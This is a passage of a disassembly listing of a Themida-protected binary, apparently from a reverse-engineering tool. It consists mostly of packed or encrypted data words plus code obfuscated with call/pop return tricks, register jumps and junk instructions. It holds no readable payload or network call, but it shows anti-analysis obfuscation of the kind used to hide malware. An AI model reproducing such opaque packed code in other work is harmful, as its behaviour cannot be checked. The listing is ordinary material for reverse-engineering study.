		dd 12E9566Fh, 0C3000000h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
		dd 360034DAh, 0E9815F9Dh, 1, 0FF60850Fh, 8060FFFFh, 810F96D4h
		dd 4, 3724BE66h, 12E861h, 0B4D0000h, 12BD91B5h,	66674C16h
		dd 0FE3CFD08h, 5EDA20BCh, 5CCA815Bh, 81788B46h,	5EA8C3h
		dd 46BA6600h, 5DF2BED4h, 0F68130E3h, 30E34A72h,	0F8F0Fh
		dd 6E80000h, 0B5000000h, 9C65F51Fh, 0AEEC807Dh,	0E833FF58h
		dd 0Ah,	6A659382h, 43D077FCh, 0CE80510h, 80000000h, 0BA68B082h
		dd 7F7B282h, 8A504231h,	595F5FF5h, 66A9B460h, 61B94BBFh
		dd 0D712C181h, 840F202Ch, 0Bh, 0DEB70F60h, 8C0Fh, 81610000h
		dd 0CAD8F7E9h, 0E7C18104h, 0BA2E9759h, 1598A789h, 0EB830B89h
		dd 0C18B6604h, 9A850F4Eh, 66FFFFFFh, 8D8DD78Bh,	6119D35h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h
		dd 89D418C1h, 0B20B985h, 4D8D8906h, 81060B17h, 9C99B8F2h
		dd 1985C746h, 54060B01h, 8B000072h, 0B208585h, 985C706h
		dd 60B10h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 98F2C353h, 0E6C3BF61h,	0C78B8DC2h
		dd 63DB58Bh, 0B5FF060Bh, 60B2A41h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 4DC35141h, 1C6643FEh, 0E7B52985h
		dd 98D8960h, 61060B08h,	21A19529h, 0B589060Bh, 60B188Dh
		dd 0AC595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0BB918BC3h, 6A6B7Dh, 32DD95FFh
		dd 0C08B060Bh, 0DAED19EBh, 7006D8D9h, 0FD6FF405h, 0E1738149h
		dd 6A4D5212h, 4E74FF94h, 0EB9A7C20h, 8,	70BE0300h, 4EDE950h
		dd 67680000h, 0E906119Eh, 0FFF9E1CBh, 119EEB68h, 0E1C1E906h
		dd 7B68FFF9h, 0E90611A0h, 0FFF9E1B7h, 0E67D545Eh, 10C3FE09h
		dd 4E95A4F7h, 0F97A59A1h, 2AC9F40Ch, 53A944ABh,	116F76Ch
		dd 0BEC6273Ch, 66B35C87h, 0E903886Bh, 85800145h, 413786C5h
		dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 9F218514h,	0EC50AABDh
		dd 60EF0444h, 0D40BD13Ah, 567C8138h, 31739DA1h,	54AD5CB4h
		dd 1B842C35h, 60000003h, 84150BDh, 8BC6D584h, 770C7997h
		dd 3C2E3547h, 53443B2h,	52E1BEBh, 0ED52BD9Fh, 9DE26918h
		dd 5F9B97A0h, 1D2F2CDAh, 60B8FD89h, 0F3971F3Ah,	743A60B8h
		dd 0C049B10Eh, 0D03498B1h, 6CBF6EFCh, 3ACCB35Dh, 3F0413F3h
		dd 0E149A9F3h, 0A69DE5E7h, 24BFB599h, 98EB1AC0h, 6ED2EF34h
		dd 5618362Ah, 10A9AFDEh, 76DA2041h, 0FDD6636h, 1B94EAE7h
		dd 0D5077B4Bh, 71E2DF28h, 0B9B68394h, 8FD96D47h, 3B21E66Ch
		dd 0B9000003h, 608D566Dh, 0CE3F2415h, 0B8558EC3h, 67805362h
		dd 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh,	4C798A7Bh
		dd 6E866A97h, 0C585831Ah, 0BDA61EEDh, 48C1541Eh, 7A944245h
		dd 81A5A22h, 0C9C2D496h, 0CFBB3339h, 40C39421h,	29D4067Ah
		dd 0A547E1DCh, 858E1401h, 3B2119BDh, 18297CA9h,	3A051FEEh
		dd 89B4CC39h, 295DD163h, 0BE3A7A83h, 8EA6AA44h,	3C85D1C1h
		dd 0D11E2B7Ch, 866417F9h, 0B747380Ah, 35000002h, 9C09EAE1h
		dd 4ABBB889h, 34D1023Fh, 0E30CD7EEh, 6BDA699h, 0D9E43CDFh
		dd 0A994ED1Ah, 7C4B5D4Ah, 0C0FD06E7h, 0EA02EE13h, 0C585839Eh
		dd 6F3AA211h, 5AE4760Dh, 996D5CABh, 0F0C1D4A5h,	0B2AB8E56h
		dd 0A69CBD85h, 8B9D08D2h, 82C292BCh, 33A7A7Eh, 8475D9F0h
		dd 4A3EB671h, 0DD3A7A7Eh, 3D81E5h, 899C0580h, 9CF0D4B8h
		dd 56AA3B79h, 2C2E6FB7h, 19992h, 33BD7A00h, 941DCFBBh
		dd 0CC7A40C3h, 0B5193441h, 5D86B3C4h, 7AE07B01h, 9F196FF2h
		dd 8B23ADBDh, 3A60E6FFh, 7FDC0A70h, 0CFBFB71Bh,	1A3A60E6h
		dd 18850F9Eh, 8073009h,	40D78C5Fh
		dd 0FF2E103Eh, 3D2C34FDh, 5F89C4D0h, 509Ah, 0D6F6200h
		dd 9D77E476h, 0AA31079Fh, 9E4A3EB6h, 0E5DDC394h, 61856781h
		dd 0BD9F86B0h, 0A91946D0h, 89693394h, 0DD345090h, 47BB3A61h
		dd 0EC50AAA9h, 61DD0444h, 9A0BD13Ah, 0F6CABE8Bh, 0C54F5E58h
		dd 9FDC0D8h, 8211B35h, 212C36B1h, 0BBh,	23D5DECFh, 1C742758h
		dd 93675B77h, 1BEFD62Ah, 0E05461B2h, 20A4C85Ah,	0A7C394AAh
		dd 4F58B553h, 0AA646084h, 97EBC394h, 297CA9B3h,	0B650B418h
		dd 0AF07A93Dh, 2D76C394h, 0FD417C85h, 0E0BEA599h, 0CA07129Ch
		dd 3C2E0246h, 0F88C20B2h, 4FC394AFh, 0FE09DD0Bh, 4FBD993Eh
		dd 0EC34E10Bh, 869A0BD1h, 5AD691BFh, 0F9635EABh, 671C1175h
		dd 82AC963Ah, 814E718Bh, 865FB53Bh, 272DE260h, 0A5000001h
		dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h
		dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h
		dd 0C585BD0Eh, 0DE4A3281h, 8F78FBDAh, 0FFC6DA7Ah, 0DEB8589Bh
		dd 0A514F8D5h, 72FE6550h, 0E9C7A83h, 0E2469EBAh, 0F7C76145h
		dd 0D84C9EA5h, 0BD9EB17Fh, 0B5608AF0h, 14AC6B66h, 0D618A825h
		dd 0EE1FD17Fh, 2648ABAAh, 3A6129A6h, 7CE7D227h,	0C2B68993h
		dd 0A90Dh, 0D6F9700h, 5940E476h, 0D6BD85B2h, 7ECE3637h
		dd 53EC86A5h, 35AFAE0Dh, 8C7054ACh, 66FDC8DDh, 0D3EE3BEAh
		dd 10FD2B6Fh, 0BB20CA07h, 67C287D2h, 0F850FE61h, 1BDBC368h
		dd 82392B94h, 0F092F632h, 0BFF9170Dh, 81BCC92Eh, 5560B552h
		dd 0D3E238E1h, 5B7ABE6Fh, 0C6FB06F7h, 0A1152477h, 9B9EA3F8h
		dd 7324C59h, 0D7B33B45h, 58601921h, 0B1889B62h,	8901D97h
		dd 0E515C7D3h, 24730297h, 96DA115h, 28256EDFh, 63C9D3C2h
		dd 7F53271Ah, 0B553B71Bh, 8024B632h, 60195AC4h,	74D9774Bh
		dd 5A758323h, 33D9266h,	47000000h, 0D4DE9C84h, 57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 52CF7BCFh, 0C281E289h, 4, 8704EA83h
		dd 895C2414h, 29682414h, 8900001Bh, 7668241Ch, 89000042h
		dd 0E3BB242Ch, 431F0323h, 31F3814Bh, 560BE006h,	0C83F0ABEh
		dd 5EF32160h, 787EC381h, 8B540551h, 0C483242Ch,	4815304h
		dd 0D2498824h, 8458F3Bh, 276BB850h, 2D4021E7h, 0E614DDE4h
		dd 58084529h, 5D2434FFh, 8B04C483h, 8953241Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 0F0E95C24h, 2FFF9DCh, 39EEED03h
		dd 0B88F6F96h, 611A1C7h, 0E0FFC503h, 19D12EF4h,	7CEBB025h
		dd 406E941Ch, 458BFFF2h, 744BE629h, 630B0A4h, 7D7E77D2h
		dd 0ED682EDh, 92707E7h,	322AA02Eh, 74DE2625h, 472636BEh
		dd 3D693F8Ch, 3586B36h,	5DA01A01h, 5A9C8C10h, 21973A53h
		dd 4073085Ah, 48A3D7D0h, 3DFE05ACh, 6DFEC974h, 6EA17065h
		dd 0BCB6D25h, 5A8AAB23h, 3D708CAh, 17122275h, 4E012951h
		dd 0AAFD854h, 5AE270C5h, 614BD2BAh, 70635A7Dh, 75AC44D4h
		dd 13E8h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h
		dd 0DC9C0ED1h, 0DE9h, 0A8946D00h, 8C2A1229h, 8071DD42h
		dd 665ACE9Ch, 0C281C88Bh, 6C50h, 33F6BF0Fh, 23C8BC0h, 5621ABBh
		dd 91C7814Bh, 0F6519E8h, 0EF81CFB7h, 2F074E02h,	6104BE66h
		dd 0F609EF81h, 57F54123h, 0CE9h, 0EA153000h, 0BDC521Bh
		dd 0DB9D57DAh, 2048F35h, 83F78B66h, 35BE04E8h, 813C59B2h
		dd 0FF948CF8h, 19850FFFh, 66000000h, 56E9D98Bh,	6F000000h
		dd 0D4AD6905h, 77E27443h, 4F0DD866h, 0C77996EBh, 2A890Fh
		dd 0AE80000h, 28000000h, 6333227Eh, 1FFEF111h, 14E844h
		dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h
		dd 5E59F7E0h, 0FFFF64E9h, 0D11FB1FFh, 6BFD3188h, 0EF89B81Eh
		dd 0C29228A9h, 0AE881h,	57430000h, 0B8A180CCh, 4A1D1732h
		dd 0FE95Eh, 0A7710000h,	8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h
		dd 50C681F8h, 6600005Bh, 1537C181h, 34FFC033h, 0CAB70F30h
		dd 0AE95Bh, 43630000h, 0BD71D075h, 3552EA32h, 19B2F381h
		dd 81F90652h, 405C53EBh, 0D0B65107h, 7CEB815Ah,	0B665372Eh
		dd 0BF665365h, 48FE8A2h, 0F9B70F06h, 58C0Fh, 0CEBA0000h
		dd 816347FEh, 6C9DFEE8h, 0FAC08159h, 0E9596C9Dh, 0Eh, 3A80DFD4h
		dd 0E3A1ED3Ch, 0F3C2842Dh, 0F881654Eh, 0FFFFA548h, 0FF90850Fh
		dd 13E8FFFFh, 20000000h, 4D2C5FCh, 0B761E00Fh, 3E5B3F87h
		dd 89B2B49Bh, 8B66DBC1h, 8E0F59F7h, 4, 76DEBF66h, 5A8BC181h
		dd 14E90000h, 6E000000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh
		dd 0DB52FABh, 2BE123EAh, 57E681D2h, 0FF063BCFh,	0F5B0A34h
		dd 58Ch, 0BBC6BE00h, 0F3811227h, 2CD5AF93h, 0FE8h, 0FC79DD00h
		dd 223DEBECh, 50BE2170h, 0E8C3E951h, 13E9h, 6E4DAE00h
		dd 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0F2C3815Eh
		dd 8110D3E0h, 0A5E926F3h, 0BE97Dh, 0ADE0000h, 0D54497FCh
		dd 0AC557BC0h, 0F08153CBh, 25B637Fh, 0F11048Fh,	0B82h
		dd 6E900h, 457C0000h, 71097460h, 0FE9h,	7BA2A100h, 73D2E8Fh
		dd 53A0A997h, 98357A6Ah, 0E901EA83h, 0Dh, 9F935CACh, 988BFBD0h
		dd 0CCA68A0h, 4A4A4AD0h, 0A6A0FA81h, 850FFFFFh,	1Eh, 0AE9h
		dd 2B351F00h, 0C89915E9h, 0E9A29160h, 22h, 0BCCAF818h
		dd 9F24254Ch, 0BF0FEA7Bh, 0FF29E9F7h, 0BE22FFFFh, 6BC139D3h
		dd 0D8679E22h, 0E03A0CD4h, 6E8ABE2h, 7D000000h,	5C1C8F59h
		dd 0BE85663h, 8E000000h, 83F99B09h, 554417E3h, 0B70F57BFh
		dd 5E5B5FDEh, 513F7FBBh, 0A6C6810Ch, 0BB000061h, 575DCD01h
		dd 183668h, 12E96000h, 0F7000000h, 0D62EC638h, 0AF936CEEh
		dd 54B2A13Ah, 0D82538ACh, 0FDFDBF82h, 5A617DBEh, 66DF8B60h
		dd 0D6B0E181h, 0F068B61h, 884h,	28E0F00h, 0B5000000h, 43F081A7h
		dd 0B7498C4Bh, 97E88170h, 0E86901B5h, 0Dh, 4D6A1CFDh, 0AC3A10F2h
		dd 0DE4D1EA6h, 0E8815F17h, 6AC76BF5h, 0DF07BA60h, 0F500210h
		dd 87h,	50615F00h, 8F2EC180h, 83FE8A06h, 0E86004EEh, 0Dh
		dd 0D0783BDh, 0A3AE7CB4h, 0F421063Bh, 585E536Bh, 4B61F281h
		dd 83611C57h, 850F01EAh, 0FFFFFF89h, 83C08BF5h,	0B05BDBDh
		dd 9750006h, 29D1BD83h,	7400060Bh, 8B535019h, 421B8C0h
		dd 85890000h, 60B2A35h,	0B31A9D8Dh, 0D3FF060Dh,	0BD83585Bh
		dd 60B29D1h, 50177400h,	421B853h, 85890000h, 60B2A35h
		dd 0B0099D8Dh, 0D3FF060Dh, 0C08B585Bh, 159D9D8Bh, 85C6060Bh
		dd 60B2845h, 0B8526856h, 0B5FF9CA8h, 60B1355h, 7D18858Dh
		dd 0D0FF060Eh, 68046Ah,	0FF000010h, 0B0F4DB5h, 0FF006A06h
		dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h,	60B7305h, 0C88BE1FFh
		dd 4003C38Bh, 0F8053Ch,	508B0000h, 83D3030Ch, 0B0EB9BDh
		dd 840F0006h, 0Eh, 0EB99D8Bh, 858B060Bh, 60B26E5h, 52510389h
		dd 4245858Dh, 0D0FF060Bh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
		dd 60B2845h, 6D396856h,	0B5FFD41Fh, 60B1355h, 7D18858Dh
		dd 0D0FF060Eh, 800068h,	52006A00h, 0C08BD0FFh, 5BDBD83h
		dd 7500060Bh, 0D1BD8309h, 60B29h, 53501974h, 21B8C08Bh
		dd 89000004h, 0B129985h, 819D8D06h, 0FF060DB3h,	83585BD3h
		dd 0B29D1BDh, 17740006h, 21B85350h
		dd 89000004h, 0B129985h, 229D8D06h, 0FF060DB0h,	8B585BD3h
		dd 0B99D8DC0h, 8B060B0Eh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 4B41B8h, 0FDED5500h,	0F67A5E75h, 0E669A476h,	0FD49BC56h
		dd 0FD20A7EAh, 0FD208948h, 0FD209989h, 0FD2013EFh, 0FD20D6D9h
		dd 0FD2034B7h, 0FD20459Ch, 0FD20FC7Dh, 0FD20A068h, 0FD208E97h
		dd 0FD209E6Ch, 0FD2015C1h, 0FD20D722h, 0FD203503h, 0FD2044ECh
		dd 0FD20FBA8h, 0FD20A7FCh, 358A259Dh, 0D6A22295h, 0DE714A76h
		dd 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h
		dd 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h
		dd 0A769B276h, 0A7695A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h
		dd 0F8B29074h, 701ABC75h, 0ECD1BBF0h, 0E1FFA673h, 707C86DDh
		dd 0ECD130F0h, 21FF6C73h, 707CE3D2h, 0ECD640F0h, 0E5FF3573h
		dd 707C4FDDh, 0ECD1B6F0h, 1DFF1E73h, 707CDAD2h,	0ECD1BDF0h
		dd 19FF7B73h, 707C68D2h, 0ECD34AF0h, 15FFD773h,	707C3ED2h
		dd 0ECD09FF0h, 11FF4273h, 707CF4D2h, 0ECD0ECF0h, 0DFFF073h
		dd 707CADD2h, 0ECD027F0h, 1FFA673h, 707C86D2h, 0ECD08EF0h
		dd 9FF6C73h, 707CE3D2h,	0ECD01DF0h, 5FF3573h, 707C4FD2h
		dd 0ECD056F0h, 1FF1E73h, 707CDAD2h, 0ECD056F0h,	0F1FF7B73h
		dd 707C68DDh, 0ECD06EF0h, 0EDFFD773h, 707C3EDDh, 0ECD062F0h
		dd 0E9FF4273h, 707CF4DDh, 0ECD1CCF0h, 0FDFFF073h, 707CADDDh
		dd 0ECD12BF0h, 0F9FFA673h, 707C86DDh, 0ECD6DBF0h, 0F5FF6C73h
		dd 767CE3DDh, 0F678C8F0h, 0A8FF3573h, 767C4FDDh, 0F66DF2F0h
		dd 0A4FF1E73h, 9C7CDADDh, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h
		dd 0FB6B151Ch, 0F53FD525h, 552EADFDh, 34229164h, 0AC7ACFB7h
		dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0ECD33698h, 26FFA073h
		dd 7D7C3ED2h, 0ECDD4CC8h, 0B409CF73h, 4B75E4C5h, 89BAF9B5h
		dd 0A4EF8635h, 0BD7CADDDh, 452B96FEh, 0FD7A2F7Ah, 5523028Ah
		dd 48F7CD64h, 0FB6B42A9h, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h
		dd 0FD7A5E76h, 5523BA8Ah, 48F79164h, 0FB6B6CA9h, 50FCD1F8h
		dd 1F23228Ah, 26F787BCh, 0A07CADD2h, 0A320052Dh, 6D92EC2Ch
		dd 4D7A9777h, 5779C1CDh, 552F708Ah, 3ED1F464h, 0FD78079Dh
		dd 9BC2DA75h, 9B5954CDh, 0A8EFD0DEh, 9B7C86DDh,	959208DEh
		dd 0B7AE577h, 8872F336h, 0A8EF866Eh, 4D7CADDDh,	0AD7954C5h
		dd 552FBA8Ah, 9B209164h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h
		dd 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh,	0DF709491h
		dd 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h
		dd 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h
		dd 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h,	3D59A568h
		dd 0DF709491h, 4DBA07F5h, 6885B5FFh, 0FB6B5A20h, 0FD5F1F2Fh
		dd 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h,	359261F4h
		dd 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh
		dd 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h
		dd 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h,	0FD7A699Dh
		dd 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h
		dd 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh
		dd 0A4EF0D75h, 707C68DDh, 0ECD29CC0h, 518A5D73h, 2D02C7Fh
		dd 0ECD2C2E0h, 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh
		dd 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h
		dd 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh
		dd 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh,	747E1AF6h
		dd 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh, 2FFF69B6h
		dd 7D7CDAD2h, 0ECDD37C8h, 0EC0FF373h, 553EFCF8h, 152ABA64h
		dd 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh,	0C30D8Ah
		dd 9CCA0D8Ah, 2FF787DFh, 7D7CADD2h, 0ECDD8CC8h,	0F10F2F73h
		dd 553E12F8h, 152ACD64h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h
		dd 0FB6B142Ch, 51DBC3F8h, 0F9F02964h, 4DB93D6Dh, 562D619Ch
		dd 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h,	552FCB8Ah
		dd 4ACE2964h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h
		dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 0A8EF68B6h
		dd 7D7CDADDh, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah
		dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 5523708Ah
		dd 60F7F464h, 0FB6BD14Dh, 3E39A0F8h, 0FD7A4ECDh, 0A4EFD075h
		dd 7E7C86DDh, 35F1CEB5h, 0A8EF1A89h, 577CE3DDh,	15B98E97h
		dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h,	1608CB75h
		dd 8831DB6h, 11F1A789h,	9D86BDF6h, 0FD7ABC9Dh, 17FB0475h
		dd 0FB6B83C4h, 7D86EAFCh, 0ECD29FCFh, 7975E573h, 0FD7AF2ECh
		dd 0FD7A73CDh, 0A4E84375h, 0BD7C4FDDh, 5527ADFCh, 35F19164h
		dd 50FF79F8h, 6F85E364h, 0FB6B5A20h, 1F3C7FFDh,	0FD6D0480h
		dd 7F795E75h, 0FB6B8728h, 84E01A35h, 7E7CDAD8h,	0FEF3E1B6h
		dd 0FD644B22h, 77797975h, 0FB6B1428h, 501DECF8h, 59892964h
		dd 0FD722F2Bh, 6F85CB75h, 0FB6B4D2Ch, 897E0AF6h, 447C7185h
		dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h
		dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h
		dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h
		dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h
		dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h
		dd 151AB2FEh, 0FD7A2F75h, 6590162Fh, 707CDAD8h,	0ECD284CFh
		dd 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 9CE7A226h
		dd 7D7C86DDh, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h
		dd 0FD7ABC9Dh, 17FB0475h, 0FB6B82A4h, 551B25F8h, 80F1CD64h
		dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB6BF614h
		dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 551B58F8h,	0C2FBF464h
		dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h,	9C82969Eh
		dd 40F7ABB6h, 0FB6B4D14h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h
		dd 3DF19D14h, 78F7EFFEh, 0FB6B3F1Bh, 0CA8BD08Ah, 0AF238D8Dh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 97BD34C3h, 0E29511FFh, 0FCC864Eh,	1987h
		dd 14E900h, 918C0000h, 703FC36h, 0EA4658Dh, 907C7639h
		dd 4A4A6CB7h, 0CE92E58h, 0E000000h, 0BCA117Ah, 0A17D0958h
		dd 891F7C13h, 0B174D8Dh, 1985C706h, 0C0060B01h,	6A00005Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E404C355h, 6F1858Bh, 11E9060Bh, 53000000h
		dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0DC6A45CEh, 100985C7h
		dd 60Bh, 0BE90000h, 66000000h, 43054919h, 13955837h, 0B5FF3510h
		dd 60B0105h, 16718589h,	95FF060Bh, 60B0AC5h, 0B7F0DA81h
		dd 8D015DBEh, 60B0425h,	95FF006Ah, 60B32DDh, 2CEBC08Bh
		dd 1C3F3210h, 674D512Ch, 8DD0E181h, 646A7D88h, 0EEFEDE02h
		dd 1080D584h, 7813BD18h, 0BA6B39CDh, 210767A3h,	377C6BABh
		dd 381B886Bh, 7E8h, 0FDBF7B00h,	10786099h, 8E9h, 474AC300h
		dd 24867633h, 81665A46h, 817AEBDEh, 5F94C2h, 7E800h, 31610000h
		dd 66A5DC94h, 199D335Eh, 5E060B21h, 17B7B8h, 92E1B900h
		dd 3A8B26A0h, 0FEB70F60h
		dd 38A0Fh, 0E8800000h, 0C781616Ah, 6760CA61h, 81FCC580h
		dd 1E01BDC7h, 0CC03B920h, 0F7811D9Dh, 65507222h, 0E059D89h
		dd 8957060Bh, 0B09959Dh, 0F028F06h, 8Dh, 4EA8300h, 0C398589h
		dd 0E883060Bh, 0F850F01h, 0E9000000h, 29h, 14428D92h, 0E4ED9185h
		dd 8C0FF8E9h, 6, 1998D03h, 8FE9060Bh, 5BFFFFFFh, 0B98F1C90h
		dd 29682F6h, 6D482528h,	2AE9E4h, 4C70000h, 24h,	0E800h
		dd 815D0000h, 11B026EDh, 24448B06h, 55858904h, 0B8060B06h
		dd 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+60B4DD7h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		lea	ebx, [ebp+60B3305h]
		mov	eax, 1434h
		mov	[ebp+60B22A5h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5A8544
; ---------------------------------------------------------------------------
		dd 50Dh	dup(0)
; ---------------------------------------------------------------------------


loc_5A8544:				; CODE XREF: Themida_:005A710Bj
		jmp	short loc_5A855C
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 1010000h
; ---------------------------------------------------------------------------


loc_5A855C:				; CODE XREF: Themida_:loc_5A8544j
		loopne	loc_5A8561
; ---------------------------------------------------------------------------
		dw 0
		db 11h
; ---------------------------------------------------------------------------


loc_5A8561:				; CODE XREF: Themida_:loc_5A855Cj
		push	es
		push	0
		push	edx
		call	sub_5A856D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A856D	proc near		; CODE XREF: Themida_:005A8565p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5A856D	endp

; ---------------------------------------------------------------------------
		aas
		or	eax, 7E0FE25Ch
		fisttp	word ptr [edx]
		and	eax, ecx
		mov	edx, [ebp+60B2D7Dh]
		mov	dx, 95D7h
		nop
		mov	di, 0F97Fh
		push	eax
		mov	ebx, 26515C32h
		nop
		mov	bl, 24h
		push	0
		push	0
		push	ecx
		call	sub_5A85AC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A85AC	proc near		; CODE XREF: Themida_:005A85A4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5A85AC	endp

; ---------------------------------------------------------------------------
		dd 0D81A1012h, 1D041811h, 10E9E7E9h, 0EF000000h, 649CF6EBh
		dd 9BE62A0Ch, 126ADB9Ch, 6A581D2Dh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 2D190201h
		dd 6B94A612h, 298D8B17h, 8B060B0Dh, 0B1AAD95h, 42858D06h
		dd 6A0611C6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 63F5C353h, 4B3A79F3h, 0CDB8D251h
		dd 0EE9h, 0C9A8B400h, 781F0257h, 83FDD9B9h, 0FAB40C7h
		dd 689h, 0D5B52900h, 0F5060B2Eh, 8B525050h, 66310FD0h
		dd 585AD18Bh, 89240489h, 0B0CD985h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9B3DC357h, 0E948318Dh, 0Fh, 18D4843Fh, 34567571h, 7B9719FCh
		dd 0E811DDA2h, 7, 0F09435CEh, 5B552A15h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 5EF713C3h, 6CD62C0Bh, 95FFD68Bh, 60B2F21h, 58E971B5h
		dd 0F000006h, 0E8CBBFh,	5D000000h, 0C647ED81h, 6A0611h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F44B9C3h, 0C88h, 68A0F00h, 29000000h, 0B2ED58Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 7B027D5h, 846DE890h,	9D2B8C82h, 60B2E25h, 2F39BB66h
		dd 4E8h, 0FA000h, 8B566000h, 57515ECEh,	50615E5Ah, 0A6A4BB66h
		dd 424448Bh, 7E9h, 886DA400h, 79D3FE5Dh, 0D38B008Bh, 4244489h
		dd 8B665250h, 60310FD8h, 0DA8BD58Ah, 58585A61h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h, 0A1144EE0h
		dd 95FFF984h, 60B32DDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FC35747h, 0C23C4143h, 8D0BEF7Bh, 11C4A2B5h
		dd 0FA3EBB06h, 6C72FDAh, 6D676552h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 48C35040h, 0F0FE2825h, 66AF7E5Fh
		dd 56DAEA81h, 6F0446C7h, 666C636Eh, 0C748A0BAh,	73610846h
